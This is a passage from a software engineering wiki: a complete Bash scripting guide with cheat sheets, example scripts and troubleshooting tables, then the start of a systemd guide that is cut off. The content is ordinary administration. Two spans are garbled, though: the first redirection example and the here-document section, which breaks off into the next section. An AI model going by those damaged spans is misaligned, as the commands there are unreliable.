# Software Engineering Wiki: all guides > Practical commands, troubleshooting guides and code snippets for software and infrastructure engineers. Index: https://www.wiki.jodisand.me/llms.txt --- # Bash > Write Bash scripts that survive spaces, empty values and failures: quoting, strict mode, parameter expansion, arrays, traps and debugging. Canonical: https://www.wiki.jodisand.me/bash/ Reviewed: 2026-09-24 Related: [jq](https://www.wiki.jodisand.me/jq/index.md), [systemd](https://www.wiki.jodisand.me/systemd/index.md), [Git](https://www.wiki.jodisand.me/git/index.md), [SSH](https://www.wiki.jodisand.me/ssh/index.md) ## Cheatsheet | Task | Snippet | | --- | --- | | Fail fast | `set -euo pipefail` | | Script's own directory | `cd "$(dirname "${BASH_SOURCE[0]}")"` | | Default if unset or empty | `${VAR:-default}` | | Abort if unset or empty | `${VAR:?message}` | | Strip suffix | `${file%.txt}` | | Strip directory | `${path##*/}` | | Replace all | `${str//old/new}` | | Lowercase | `${str,,}` | | Length of string, of array | `${#str}`, `${#array[@]}` | | Command output | `out=$(cmd)` | | Arithmetic | `(( count++ ))`, `n=$(( a * b ))` | | Loop over files safely | `for f in *.log; do [ -e "$f" ] \|\| continue; done` | | Read a file line by line | `while IFS= read -r line; do ...; done < file` | | File into an array of lines | `mapfile -t lines < file` | | Temp file that cleans up | `t=$(mktemp); trap 'rm -f "$t"' EXIT` | | Is a command available | `command -v jq >/dev/null` | | Timestamped name (Bash 4.2+) | `printf -v f 'dump-%(%Y%m%dT%H%M%S)T.sql' -1` | | Quote a value for reuse as shell input | `printf '%q\n' "$value"` or `${value@Q}` | | Trace a script | `bash -x script.sh` | | Lint | `shellcheck script.sh` | Behaviour below is Bash 5.x unless a version is given. macOS ships Bash 3.2, which lacks associative arrays, `mapfile`, `${var,,}` and most of what follows; check with `bash --version`. Reference: the [GNU Bash manual](https://www.gnu.org/software/bash/manual/bash.html). ## Quoting An unquoted expansion goes through word splitting on `$IFS` and then pathname (glob) expansion. That is the cause of nearly every script bug involving spaces, asterisks or empty values. ```sh rm $file # two arguments if $file contains a space; every file in the directory if it is "*" rm "$file" # always one argument rm -- "$file" # also safe when the name starts with "-" "$@" # each positional argument, individually quoted: almost always what you want "$*" # all arguments joined into one string with the first character of IFS '$literal' # single quotes: no expansion at all "$(cmd)" # command substitution, quoted ``` Quote every expansion unless you want splitting. Unquoted is safe inside `[[ ]]`, on the right side of a plain assignment (`a=$b`) and in `case $x in`. `shellcheck` flags the rest. ## Strict mode ```sh #!/usr/bin/env bash set -euo pipefail ``` | Option | Effect | Trap | | --- | --- | --- | | `-e` (`errexit`) | Exit when a command returns non-zero | Ignored in `if`/`while` conditions, left of `&&`/`\|\|`, after `!`, and in any function called from those contexts | | `-u` (`nounset`) | Expanding an unset variable is an error | Use `${VAR:-}` for optional ones. Before Bash 4.4, `"${arr[@]}"` on an empty array also errors | | `-o pipefail` | A pipeline's status is the last non-zero stage | Without it `false \| true` succeeds | | `-E` (`errtrace`) | `ERR` trap is inherited by functions and subshells | Without it an `ERR` trap never fires inside functions | | `-x` (`xtrace`) | Print each command after expansion | Use around one block: `set -x; ...; set +x` | Cases where `set -e` does not stop the script: ```sh local out=$(false) # status of `local` (0) masks the substitution; declare first, assign second out=$(false; echo after) # command substitution runs without errexit unless shopt -s inherit_errexit (Bash 4.4+) f() { false; echo still here; } f || echo failed # errexit is off for the whole body of f because it is tested ``` For steps with real consequences, test the status explicitly instead of relying on `-e`: ```sh if ! output=$(risky_command 2>&1); then printf 'failed: %s\n' "$output" >&2 exit 1 fi ``` `IFS=$'\n\t'` is often added to "strict mode". It stops splitting on spaces, which hides missing quotes rather than fixing them and changes how `"$*"` joins. Quote properly instead. ## Parameter expansion Expansion edits strings in the shell process. In a loop it is much faster than spawning `sed`, `cut` or `basename` per item. ```sh file=/var/log/nginx/access.log.1 ${file##*/} # access.log.1 remove longest prefix matching */ (basename) ${file%/*} # /var/log/nginx remove shortest suffix matching /* (dirname) ${file%.*} # /var/log/nginx/access.log drop last extension ${file##*.} # 1 last extension only name="deploy-prod-api" ${name//-/_} # deploy_prod_api replace all ${name/prod/stag} # deploy-stag-api replace first ${name:0:6} # deploy substring (offset:length) ${name: -3} # api from the end; the space stops it being parsed as :- ${#name} # 15 length ${name^^} # DEPLOY-PROD-API uppercase ${name,,} # deploy-prod-api lowercase ${name@Q} # 'deploy-prod-api' quoted for reuse as input (Bash 4.4+) ${VAR:-default} # default if VAR is unset or empty ${VAR:=default} # same, and assign it to VAR ${VAR:?message} # abort with message if unset or empty ${VAR:+value} # value if VAR is set and non-empty, otherwise nothing ``` Without the colon (`${VAR-default}`, `${VAR+value}`) only unset counts; an empty string is treated as set. Use that form for options that may legitimately be empty. ## Tests ```sh [[ -f "$path" ]] # regular file exists [[ -d "$path" ]] # directory [[ -s "$path" ]] # exists and size > 0 [[ -r "$path" ]] # readable by this user [[ -n "$str" ]] # non-empty string [[ -z "$str" ]] # empty string [[ -v VAR ]] # variable is set (Bash 4.2+), even if empty [[ "$a" == "$b" ]] # string equality [[ "$a" == prefix* ]] # glob match; the pattern must be unquoted [[ "$a" =~ ^[0-9]+$ ]] # regex; unquoted; captures in "${BASH_REMATCH[@]}" (( n > 5 )) # arithmetic comparison [[ "$f" -nt "$g" ]] # f is newer than g ``` Use `[[ ]]` in Bash scripts: it does not word-split or glob its operands and supports `=~` and pattern matching. `[ ]` is the POSIX `test` command, needed only in `/bin/sh` scripts, and there every operand must be quoted. Inside `[[ ]]` quoting the right side of `==` or `=~` makes it a literal string, not a pattern. ## Loops ```sh for f in *.log; do [ -e "$f" ] || continue # no match leaves the literal "*.log"; or use shopt -s nullglob printf '%s\n' "$f" done while IFS= read -r line; do # IFS= keeps leading/trailing whitespace, -r keeps backslashes printf '%s\n' "$line" done < input.txt while IFS=, read -r name port _; do # split fields; _ absorbs the rest of the line printf '%s -> %s\n' "$name" "$port" done < hosts.csv find . -name '*.tmp' -print0 | while IFS= read -r -d '' f; do rm -- "$f"; done # NUL-safe; deletes files for i in {1..10}; do :; done # brace expansion runs before variable expansion: {1..$n} does not work for ((i = 0; i < n; i++)); do :; done ``` `read` returns non-zero at end of file without a trailing newline, so the last line is dropped. `while IFS= read -r line || [[ -n $line ]]` keeps it. Each stage of a pipeline runs in a subshell, so variables set in `cmd | while ...` are lost when the loop ends. Feed the loop with redirection or process substitution instead (or `shopt -s lastpipe` in a non-interactive script): ```sh count=0 while IFS= read -r _; do (( count++ )); done < <(grep 'ERROR' app.log) printf '%d errors\n' "$count" # correct here; would print 0 after `grep ... | while` ``` ## Arrays ```sh arr=(one two "three four") arr+=(five) "${arr[@]}" # each element as a separate word "${arr[*]}" # one string joined by the first character of IFS "${#arr[@]}" # element count "${arr[2]}" # three four "${arr[@]:1:2}" # slice: two, three four "${!arr[@]}" # indices mapfile -t lines < file # file into array, newline stripped (-t) mapfile -t pods < <(kubectl get pods -o name) declare -A limits=([cpu]=2 [memory]=4Gi) # associative array, Bash 4.0+ limits[disk]=100Gi "${!limits[@]}" # keys (unordered) "${limits[@]}" # values [[ -v limits[cpu] ]] && echo set ``` Build command lines in arrays, not strings. `args=(--name "$name"); cmd "${args[@]}"` keeps each argument intact; `args="--name $name"; cmd $args` splits on any space in `$name`. Associative arrays need `declare -A` first. Without it Bash creates an indexed array and evaluates each subscript arithmetically, so `cpu` and `memory` (unset names) both become index 0 and overwrite each other. ## Functions ```sh usage() { cat >&2 <<'EOF' usage: deploy [-n] -n dry run EOF exit 2 } deploy() { local env=${1:?env required} # without local, the variable is global local -r dry=${2:-false} # -r: read-only for the rest of the function printf 'deploying %s\n' "$env" } deploy prod || { printf 'failed\n' >&2; exit 1; } ``` A function returns only an exit status (0 to 255). Return data by printing it and capturing with `$(...)`, or by assigning to a variable name the caller passes (`local -n ref=$1`, Bash 4.3+). Bash 5.3 adds `${ cmd; }`, which captures output without forking a subshell, so variable changes inside it persist. ## Traps and cleanup ```sh tmp=$(mktemp -d) trap 'rm -rf -- "$tmp"' EXIT # set immediately after creating the resource trap 'exit 130' INT # convert Ctrl-C into a normal exit so the EXIT trap runs trap 'printf "failed at line %s: %s\n" "$LINENO" "$BASH_COMMAND" >&2' ERR ``` The `EXIT` trap runs when the shell exits for any reason other than `SIGKILL`, including `set -e` failures and `exit`. Put cleanup there rather than at the end of the script. A later `trap ... EXIT` replaces the earlier one; combine commands into a single handler function. Use `set -E` if the `ERR` trap must fire inside functions. ## Options and input ```sh while getopts ":n:v" opt; do # leading ":" enables the \? and : cases below case $opt in n) name=$OPTARG ;; v) verbose=1 ;; \?) printf 'unknown option: -%s\n' "$OPTARG" >&2; exit 2 ;; :) printf 'option -%s needs a value\n' "$OPTARG" >&2; exit 2 ;; esac done shift $((OPTIND - 1)) # "$@" is now the positional arguments ``` `getopts` handles short options only. For long options, loop over `"$@"` with `case "$1" in --name) name=$2; shift 2 ;; esac`. ```sh read -r -p 'Continue? [y/N] ' reply [[ $reply == [yY]* ]] || exit 0 cat < out.log 2>&1 # stdout to file, then stderr to where stdout now points cmd &> out.log # the same, Bash shorthand cmd 2>&1 | tee out.log # both streams through a pipe cmd > /dev/null 2>&1 # discard everything cmd 2> >(logger -t my-app) # stderr to another process exec 3< file # open fd 3 for reading; exec 3<&- closes it diff <(sort a) <(sort b) # process substitution: command output as a file path printf '%s\n' "$data" | cmd # use printf, not echo, for data you did not write ``` Redirections are processed left to right, and `2>&1` copies wherever fd 1 points at that moment. `cmd 2>&1 > file` therefore sends stderr to the terminal (the old stdout) and only stdout to the file. ## Long options `getopts` stops at the first non-option and knows nothing about `--name`. A manual loop over `"$@"` handles long options, `--opt=value`, `--` as end of options and bundled short flags well enough for most scripts. ```sh name='' verbose=0 dry_run=0 positional=() while [[ $# -gt 0 ]]; do case $1 in -n|--name) [[ $# -ge 2 ]] || { echo "$1 needs a value" >&2; exit 2; } name=$2; shift 2 ;; --name=*) name=${1#*=}; shift ;; # strip everything up to the first = -v|--verbose) verbose=1; shift ;; --dry-run) dry_run=1; shift ;; -h|--help) usage ;; --) shift; positional+=("$@"); break ;; # everything after -- is positional -?*) printf 'unknown option: %s\n' "$1" >&2; exit 2 ;; *) positional+=("$1"); shift ;; esac done set -- "${positional[@]}" # restore "$@" as the positional arguments only ``` The `--` case matters when a positional argument can legitimately start with a dash (`rm -- -f` is the classic). `-?*` catches anything else beginning with `-` so a typo like `--verbsoe` fails loudly instead of becoming a filename. Exit status 2 for usage errors follows the convention of most GNU tools; reserve 1 for runtime failures so callers can tell them apart. ## Here-documents and here-strings A here-document feeds a block of text to a command's stdin. The delimiter word controls expansion: unquoted (`< now() - interval '1 day'; EOF render() { cat <<-EOF # <<- strips the leading tabs (this file must use real tabs here) server { listen 80; server_name $1; } EOF } cat > /etc/my-app/config.ini <(cmd)`) into a path like `/dev/fd/63` that another command opens as a file. It runs the inner command asynchronously in a subshell and is the standard way to feed a `while read` loop without losing variables to a pipeline subshell. ```sh diff <(kubectl get cm my-app -o yaml) <(kubectl get cm my-app -o yaml --context staging) comm -13 <(sort expected.txt) <(sort actual.txt) # lines only in actual paste <(cut -d, -f1 a.csv) <(cut -d, -f3 b.csv) tee >(gzip > out.gz) >(sha256sum > out.sha) < in.bin >/dev/null # fan out one stream to several writers exec > >(tee -a "$log") 2>&1 # everything this script prints also goes to a file ``` Process substitution needs `/dev/fd` and is not POSIX; `/bin/sh` scripts must use a named pipe (`mkfifo`) or a temporary file instead. The inner command's exit status is not visible to the outer one, so check inputs you care about before, or use `wait $!` on Bash 5.x, where the last `<(...)` PID is available as `$!`. `coproc` runs a command in the background with a two-way pipe connected to it, for cases where a script must send several requests to one long-lived process and read each reply, such as an interactive CLI or a database shell. ```sh coproc db { psql -h db.example.com -U app -qAt; } # ${db[0]} reads from psql, ${db[1]} writes to it printf 'SELECT 1;\n' >&"${db[1]}" IFS= read -r -u "${db[0]}" answer # read -u: read from that file descriptor printf 'got %s\n' "$answer" exec {db[1]}>&- # close psql's stdin so it exits cleanly wait "$db_PID" ``` A coprocess is a job like any other; `$db_PID` holds its PID and the descriptors close when it exits. Only one coprocess with a given name may exist at a time, and Bash warns if you start a second while the first is still running. Reads block, so put a `read -t` timeout on anything that might not answer. ## printf `printf` is the portable, injection-safe way to produce output. `echo` interprets or ignores `-n`, `-e` and backslashes differently between Bash, dash and `/bin/echo`; `printf` always does what its format string says and never treats the data as options. ```sh printf '%s\n' "$line" # print any string verbatim, including -n and backslashes printf '%s\n' "${arr[@]}" # one element per line; the format repeats for each argument printf '%-20s %8s %6.2f%%\n' "$host" "$state" "$pct" # left-justify to 20, right-justify to 8, two decimals printf '%05d\n' 42 # 00042: zero-pad to width 5 printf '%x %o %e\n' 255 8 12345.678 # ff 10 1.234568e+04 printf '%b\n' 'a\tb' # %b interprets backslash escapes in the argument, %s does not printf '%q ' rm -rf "$dir"; echo # shell-quoted for reuse or for logging exactly what will run printf '%(%Y-%m-%d %H:%M:%S)T\n' -1 # current time via strftime, no fork (Bash 4.2+); -2 is shell start time printf '%(%s)T\n' -1 # epoch seconds; $EPOCHSECONDS does the same on Bash 5.0+ printf -v padded '%08.3f' "$value" # -v: assign the result to a variable instead of printing printf '%s\0' "${files[@]}" | xargs -0 ls -l # NUL-separate for tools that accept -0 printf 'Progress: %3d%%\r' "$pct" # \r overwrites the line; finish with a plain newline printf '%*s\n' "$width" '' # * takes the width from an argument; prints $width spaces ``` `%d` rejects non-numeric input (`invalid number`) and prints what it could parse; validate with `[[ $n =~ ^-?[0-9]+$ ]]` first when the value comes from outside the script. Bash 5.2 adds `%Q`, which applies a precision before quoting so `%.10Q` truncates a value then quotes it. With no arguments `printf` still prints the format once with empty substitutions, so `printf '%s\n' "${empty[@]}"` emits one blank line rather than nothing; guard with `(( ${#empty[@]} ))` when that matters. ## Shell options `shopt` toggles Bash-specific behaviour; `set -o` covers the POSIX options plus a few extras. The ones that change how a script behaves: ```sh shopt -s nullglob # unmatched glob expands to nothing instead of the literal pattern shopt -s failglob # unmatched glob is an error (the safer choice for scripts that must find files) shopt -s dotglob # * also matches names starting with . shopt -s globstar # ** matches recursively (Bash 4.0+): for f in src/**/*.go shopt -s extglob # extended patterns: !(*.bak), +([0-9]), @(yes|no) shopt -s nocasematch # case-insensitive [[ == ]] and case shopt -s inherit_errexit # $(...) inherits set -e (Bash 4.4+) shopt -s lastpipe # last stage of a pipeline runs in the current shell (non-interactive only) shopt -s extdebug # richer BASH_ARGV/BASH_ARGC and function tracing for debuggers shopt -p | grep -E 'nullglob|globstar' # -p prints the current setting in reusable form ``` With `nullglob` on, `ls *.log` with no matches runs `ls` on the current directory; `failglob` aborts the command instead, which is usually what a script wants. Set either at the top of the script, not around one loop. `extglob` patterns work in `case`, `[[ ]]` and parameter expansion, so `${path//+(\/)//}` collapses repeated slashes and `rm !(*.keep)` removes everything except the files you want (a destructive command; test the glob with `printf '%s\n' !(*.keep)` first). ## Oneliners ```sh # Directory of the running script, symlinks resolved (GNU readlink) script_dir=$(cd -- "$(dirname -- "$(readlink -f -- "${BASH_SOURCE[0]}")")" && pwd) # Require commands up front for c in jq curl kubectl; do command -v "$c" >/dev/null || { echo "need $c" >&2; exit 1; }; done # Retry with exponential backoff, 5 attempts for i in {1..5}; do cmd && break; sleep $(( 2 ** i )); done # Run at most 8 jobs in parallel printf '%s\n' "${hosts[@]}" | xargs -P8 -I{} ssh {} uptime # Wait for background jobs and fail if any failed pids=(); for h in "${hosts[@]}"; do ssh "$h" uptime & pids+=($!); done rc=0; for p in "${pids[@]}"; do wait "$p" || rc=1; done; exit "$rc" # Stop a command that may hang (sends TERM after 30s) timeout 30s curl -fsS https://api.example.com/health # Allow one instance of a script at a time exec 9>/run/lock/my-job.lock; flock -n 9 || exit 0 # Trim leading and trailing whitespace without an external command trim() { local s=$1; s=${s#"${s%%[![:space:]]*}"}; printf '%s' "${s%"${s##*[![:space:]]}"}"; } # Epoch seconds to local time (GNU date) date -d "@$epoch" '+%F %T' # Sum the third column awk '{s += $3} END {print s}' file # Most frequent values in the first column awk '{print $1}' access.log | sort | uniq -c | sort -rn | head # Bytes as human-readable numfmt --to=iec-i --suffix=B 1234567 # Is this an interactive shell [[ $- == *i* ]] && echo interactive # Colour only when stdout is a terminal if [[ -t 1 ]]; then red=$'\e[31m' rst=$'\e[0m'; else red='' rst=''; fi printf '%sfailed%s\n' "$red" "$rst" # Join array elements with a comma (IFS applies only to this expansion) (IFS=,; printf '%s\n' "${arr[*]}") # Split a delimited string into an array without a subshell IFS=: read -r -a parts <<< "$PATH" # Read NUL-separated output into an array (Bash 4.4+) mapfile -d '' files < <(find . -name '*.conf' -print0) # Wait for whichever background job finishes first, then act (Bash 4.3+) wait -n && echo 'one job done' # Time a block without spawning `time` on each command SECONDS=0; long_task; printf 'took %ds\n' "$SECONDS" # Random integer in a range (SRANDOM is 32-bit and not seeded from time, Bash 5.1+) n=$(( SRANDOM % 100 )) # Indirect reference: the value of the variable whose name is in $name name=HOME; printf '%s\n' "${!name}" # All variable names starting with a prefix (for dumping config passed by environment) for v in "${!MYAPP_@}"; do printf '%s=%s\n' "$v" "${!v}"; done # Read with a timeout so an unattended run does not hang forever (returns >128 on timeout) read -r -t 10 -p 'Token: ' token || { echo 'no input' >&2; exit 1; } # Read a password without echo read -r -s -p 'Password: ' pass; echo # Case-insensitive match without changing global shell options [[ ${answer,,} == y* ]] && echo yes # Log every line the script prints to both the terminal and the journal exec > >(tee >(logger -t my-script)) 2>&1 # Pass a function to xargs or find by exporting it (Bash only) check() { curl -fsS --max-time 5 "https://$1/health" >/dev/null && echo "$1 ok" || echo "$1 FAIL"; } export -f check; printf '%s\n' "${hosts[@]}" | xargs -P8 -I{} bash -c 'check "$@"' _ {} # Confirm before a destructive step, defaulting to no read -r -p "Delete ${#targets[@]} files? [y/N] " a; [[ $a == [yY] ]] || exit 0 # Print a stack trace from inside a function (useful in an ERR trap) for ((i = 1; i < ${#FUNCNAME[@]}; i++)); do printf ' at %s (%s:%s)\n' "${FUNCNAME[$i]}" "${BASH_SOURCE[$i]}" "${BASH_LINENO[$((i-1))]}"; done # Replace a file atomically: write to a temp file in the same directory, then rename tmp=$(mktemp "${target}.XXXXXX") && generate > "$tmp" && mv -f -- "$tmp" "$target" # Strip ANSI colour codes from captured output clean=$(sed 's/\x1b\[[0-9;]*m//g' <<< "$raw") # Check that a variable is a positive integer before using it in arithmetic [[ $count =~ ^[1-9][0-9]*$ ]] || { echo "count must be a positive integer" >&2; exit 2; } # Source a config file only if it is a regular file owned by the current user [[ -f $cfg && -O $cfg ]] && . "$cfg" ``` ## Scripts Parallel health check over a list of hosts with a per-host timeout, exit status reflecting any failure, and a summary at the end. ```sh #!/usr/bin/env bash # usage: health-check.sh hosts.txt (one hostname per line, # comments allowed) set -euo pipefail hosts_file=${1:?hosts file required} jobs=${JOBS:-8} timeout_s=${TIMEOUT:-5} results=$(mktemp) trap 'rm -f -- "$results"' EXIT check() { # runs in a child bash via xargs; prints one line per host local host=$1 code code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time "$TIMEOUT" "https://$host/health" 2>/dev/null || true) if [[ $code == 200 ]]; then printf 'OK %s\n' "$host"; else printf 'FAIL %s (%s)\n' "$host" "${code:-timeout}"; fi } export -f check export TIMEOUT=$timeout_s grep -Ev '^\s*(#|$)' "$hosts_file" \ | xargs -P "$jobs" -I{} bash -c 'check "$1"' _ {} \ | tee "$results" failed=$(grep -c '^FAIL' "$results" || true) printf '\n%d checked, %d failed\n' "$(wc -l < "$results")" "$failed" (( failed == 0 )) ``` Log cleanup that compresses files older than a threshold and deletes compressed files past a retention limit, with `--dry-run` printing what would happen. Deletes files when run without `--dry-run`. ```sh #!/usr/bin/env bash # usage: log-cleanup.sh [--dry-run] [--compress-days N] [--delete-days N] DIR... set -euo pipefail dry=0 compress_days=7 delete_days=90 dirs=() while [[ $# -gt 0 ]]; do case $1 in --dry-run) dry=1; shift ;; --compress-days) compress_days=$2; shift 2 ;; --delete-days) delete_days=$2; shift 2 ;; --) shift; dirs+=("$@"); break ;; -*) printf 'unknown option: %s\n' "$1" >&2; exit 2 ;; *) dirs+=("$1"); shift ;; esac done (( ${#dirs[@]} )) || { echo 'no directories given' >&2; exit 2; } (( delete_days > compress_days )) || { echo '--delete-days must exceed --compress-days' >&2; exit 2; } run() { if (( dry )); then printf '[dry-run] %q ' "$@"; echo; else "$@"; fi; } for d in "${dirs[@]}"; do [[ -d $d ]] || { printf 'skip %s: not a directory\n' "$d" >&2; continue; } # -mtime +N means strictly more than N whole days old; -type f skips symlinks and directories while IFS= read -r -d '' f; do run gzip -9 -- "$f"; done \ < <(find "$d" -maxdepth 1 -type f -name '*.log' ! -name '*.gz' -mtime +"$compress_days" -print0) while IFS= read -r -d '' f; do run rm -f -- "$f"; done \ < <(find "$d" -maxdepth 1 -type f -name '*.log.gz' -mtime +"$delete_days" -print0) done ``` Wrapper that runs a command under a lock so only one copy executes at a time, retrying with exponential backoff and jitter on failure. Meant for cron and systemd timers where overlapping runs are the usual cause of corrupted state. ```sh #!/usr/bin/env bash # usage: with-retry.sh [-n attempts] [-l lockfile] -- command args... set -euo pipefail attempts=5 lock=/run/lock/with-retry.lock while getopts ':n:l:' opt; do case $opt in n) attempts=$OPTARG ;; l) lock=$OPTARG ;; :) printf 'option -%s needs a value\n' "$OPTARG" >&2; exit 2 ;; \?) printf 'unknown option: -%s\n' "$OPTARG" >&2; exit 2 ;; esac done shift $((OPTIND - 1)) (( $# )) || { echo 'no command given' >&2; exit 2; } exec 9>"$lock" if ! flock -n 9; then printf 'another run holds %s, exiting\n' "$lock" >&2; exit 0; fi for (( i = 1; i <= attempts; i++ )); do "$@" && exit 0 rc=$? # status of the && list is the command's status (( i < attempts )) || break delay=$(( (2 ** i) + RANDOM % 5 )) # jitter stops synchronised retries across hosts printf 'attempt %d/%d failed (rc=%d), retrying in %ds\n' "$i" "$attempts" "$rc" "$delay" >&2 sleep "$delay" done printf 'giving up after %d attempts\n' "$attempts" >&2 exit "${rc:-1}" ``` ## Debugging a script ```sh bash -n script.sh # parse only, no execution shellcheck script.sh # static analysis: quoting, set -e traps, portability PS4='+ ${BASH_SOURCE}:${LINENO}:${FUNCNAME[0]:-main}: ' bash -x script.sh # trace with file and line ``` ## Troubleshooting | Symptom | Cause | Fix | | --- | --- | --- | | `$'\r': command not found` | Windows (CRLF) line endings | `sed -i 's/\r$//' script.sh`; set `* text=auto eol=lf` in `.gitattributes` | | `bad substitution` or `declare: -A: invalid option` | Run by `sh` (dash) or Bash 3.2 | Run with `bash`, check the shebang and `bash --version` | | `unbound variable` | `set -u` and an optional variable | `${VAR:-}`; for empty arrays on Bash < 4.4 use `${arr[@]+"${arr[@]}"}` | | Script exits silently part way | `set -e` and a non-zero command | `bash -x`, or trap `ERR` with `$LINENO` | | Error ignored despite `set -e` | Command is in a tested context, a pipeline without `pipefail`, `local x=$(...)` or `$(...)` | Test the status explicitly | | Variable empty after a loop | Loop ran in a pipeline subshell | `done < <(cmd)` or `shopt -s lastpipe` | | Last line of a file not processed | No trailing newline | `while IFS= read -r l \|\| [[ -n $l ]]` | | `Argument list too long` | Glob or `$(...)` exceeds `ARG_MAX` | `find ... -exec cmd {} +` or `xargs -0` | | Filenames with spaces break | Unquoted expansion or `for f in $(ls)` | Quote, and iterate with a glob or `find -print0` | | Works in terminal, fails from cron or systemd | Different `PATH`, no TTY, different working directory | Use absolute paths, set `PATH`, `cd` explicitly; see [systemd](https://www.wiki.jodisand.me/systemd/#a-failing-service) | | Script exits at `(( i++ ))` when `i` is 0 | Post-increment returns the old value; 0 is "false", so `set -e` fires | Use `(( i += 1 ))`, `(( ++i ))` or `i=$(( i + 1 ))` | | Backslashes vanish from lines read from a file | `read` without `-r` treats `\` as an escape | Always `read -r` | | `echo -e` prints `-e` or escapes are ignored | `echo` differs between Bash, dash and `/bin/echo` | `printf '%b\n' "$s"` for escapes, `printf '%s\n'` otherwise | | `*` skips `.env` and other dotfiles | Globs do not match a leading `.` by default | `shopt -s dotglob`, or `find -name '.*'` | | `[[ $x == "$y" ]]` never matches a pattern | Quoted right-hand side is a literal string | Leave the pattern unquoted: `[[ $x == $y ]]`, or use `=~` for regex | | `printf: abc: invalid number` | `%d` given non-numeric input | Validate with `[[ $n =~ ^-?[0-9]+$ ]]` before formatting | | `wc -c <<< "$s"` is one more than `${#s}` | Here-strings append a newline | Use `printf '%s' "$s" \| cmd` when the trailing newline matters | | `ls *.log` lists everything | `nullglob` is on and nothing matched, so `ls` got no arguments | Use `failglob`, or test `[ -e "$f" ]` inside the loop | | `command not found` for a function passed to `xargs` or `find` | The child `bash -c` does not see unexported functions | `export -f name`, then `bash -c 'name "$@"' _ {}` | ## Further reading - [GNU Bash Reference Manual](https://www.gnu.org/software/bash/manual/bash.html): shell parameters, expansions, `shopt` and every builtin. - [Bash builtin commands](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html): `printf`, `read`, `mapfile`, `trap` and `getopts` in full. - [POSIX Shell Command Language](https://pubs.opengroup.org/onlinepubs/9799919799/utilities/V3_chap02.html): what `/bin/sh` scripts may rely on. - [ShellCheck wiki](https://www.shellcheck.net/wiki/): one page per warning code with the reasoning and the fix. - [BashFAQ](https://mywiki.wooledge.org/BashFAQ) and [BashPitfalls](https://mywiki.wooledge.org/BashPitfalls): the canonical catalogue of things that look right and are not. --- # systemd > Inspect and debug services, query the journal, write and override units, schedule timers and apply cgroup resource limits with systemd. Canonical: https://www.wiki.jodisand.me/systemd/ Reviewed: 2026-09-24 Related: [Linux performance](https://www.wiki.jodisand.me/linux-performance/index.md), [Bash](https://www.wiki.jodisand.me/bash/index.md), [Docker](https://www.wiki.jodisand.me/docker/index.md) ## Cheatsheet | Task | Command | | --- | --- | | Is it running, and if not why | `systemctl status my-app` | | Everything that failed | `systemctl --failed` | | Start, stop, restart (needs root) | `systemctl restart my-app` | | Reload config, keep the process | `systemctl reload my-app` | | Start now and at every boot | `systemctl enable --now my-app` | | Follow logs | `journalctl -u my-app -f` | | Logs of the latest run only (v257+) | `journalctl -u my-app -I` | | Logs since boot | `journalctl -u my-app -b` | | Errors and worse, last hour | `journalctl -p err --since -1h` | | Effective unit file with drop-ins | `systemctl cat my-app` | | Machine-readable properties | `systemctl show my-app -p Result -p ExecMainStatus` | | Override safely | `systemctl edit my-app` | | After editing a unit file by hand | `systemctl daemon-reload` | | Clear failed state and start limit | `systemctl reset-failed my-app` | | What slowed boot | `systemd-analyze critical-chain` | | Dependency tree | `systemctl list-dependencies my-app` | | Run a command with limits | `systemd-run --scope -p MemoryMax=1G ./cmd` | | Timer schedule | `systemctl list-timers --all` | Verified against systemd 259. Options below that arrived recently state the version. Reference: [systemd man pages](https://www.freedesktop.org/software/systemd/man/latest/). ## A failing service `systemctl status` shows the state, the main PID, the last exit status and the last ten journal lines. The exit status and `Result=` say what happened; the journal says why. ```sh systemctl status my-app --no-pager -l journalctl -u my-app -I --no-pager # everything from the latest invocation (v257+) journalctl -u my-app -b --no-pager -n 50 # older systemd: last 50 lines this boot systemctl show my-app -p Result -p ExecMainStatus -p NRestarts systemd-analyze verify /etc/systemd/system/my-app.service # syntax, missing binaries, bad dependencies ``` ```text Result=exit-code ExecMainStatus=203 NRestarts=4 ``` | `Result=` | Meaning | | --- | --- | | `exit-code` | Main process exited non-zero; `ExecMainStatus` has the code | | `signal` | Killed by a signal. `SIGKILL` usually follows a stop timeout or an external kill | | `core-dump` | Killed by a signal and dumped core; `coredumpctl list` | | `timeout` | A start, stop or runtime step exceeded its `Timeout*Sec=` | | `oom-kill` | The kernel OOM killer ended a process in the unit (cgroup `MemoryMax=` or system-wide) | | `protocol` | The service did not follow its `Type=`: no `READY=1` for `notify`, or no PID file for `forking` | | `watchdog` | `WatchdogSec=` set and the service stopped pinging | | `start-limit-hit` | More than `StartLimitBurst=` starts in `StartLimitIntervalSec=`; run `systemctl reset-failed` after fixing | | `exec-condition` | `ExecCondition=` exited 1 to 254, so the service was skipped | | `resources` | systemd could not set something up (missing directory, namespace, credentials) | Exit statuses 200 and above come from systemd while it prepared the process, before your program ran. The full table is in [systemd.exec(5)](https://www.freedesktop.org/software/systemd/man/latest/systemd.exec.html#Process%20Exit%20Codes). | `status=` | Name | Usual cause | | --- | --- | --- | | 200 | `CHDIR` | `WorkingDirectory=` does not exist or is not accessible | | 203 | `EXEC` | `ExecStart=` path wrong, not executable, bad shebang, or SELinux denies execution | | 209 | `STDOUT` | `StandardOutput=` target cannot be opened | | 217 | `USER` | `User=` or `Group=` does not exist | | 226 | `NAMESPACE` | A path in `ReadWritePaths=` or similar sandbox setting does not exist | `Active: activating (start)` that never completes is usually a `Type=` mismatch: a daemon that forks declared as `Type=notify`, or a service that never sends `READY=1`. It ends in `timeout` after `TimeoutStartSec=` (default 90 seconds). ## Inspecting units ```sh systemctl list-units --type=service --state=running systemctl list-unit-files --state=enabled systemctl cat my-app # unit file plus every drop-in, in the order applied systemctl show my-app -p ExecStart -p User -p MemoryMax systemctl list-dependencies my-app --reverse # units that pull this one in systemctl is-enabled my-app; systemctl is-active my-app # scriptable: exit status 0 when true systemd-delta # overridden, extended and masked units system-wide ``` Units in `/etc/systemd/system/` override `/run/systemd/system/`, which override `/usr/lib/systemd/system/`. Drop-ins in `my-app.service.d/*.conf` change individual settings. `systemctl cat` shows the result, which is the only reliable view of what is in effect. ## Journal The journal is an indexed binary store of structured records. Every field (`_PID`, `_SYSTEMD_UNIT`, `PRIORITY` and so on) can be filtered, not only the message text. ```sh journalctl -u my-app -f # follow journalctl -u my-app --since '2 hours ago' --until '10 min ago' journalctl -u my-app -b -1 # previous boot (needs persistent storage) journalctl -p warning..err -b # priority range journalctl _PID=1234 # one process journalctl -u my-app -o json-pretty -n 1 # every field of the 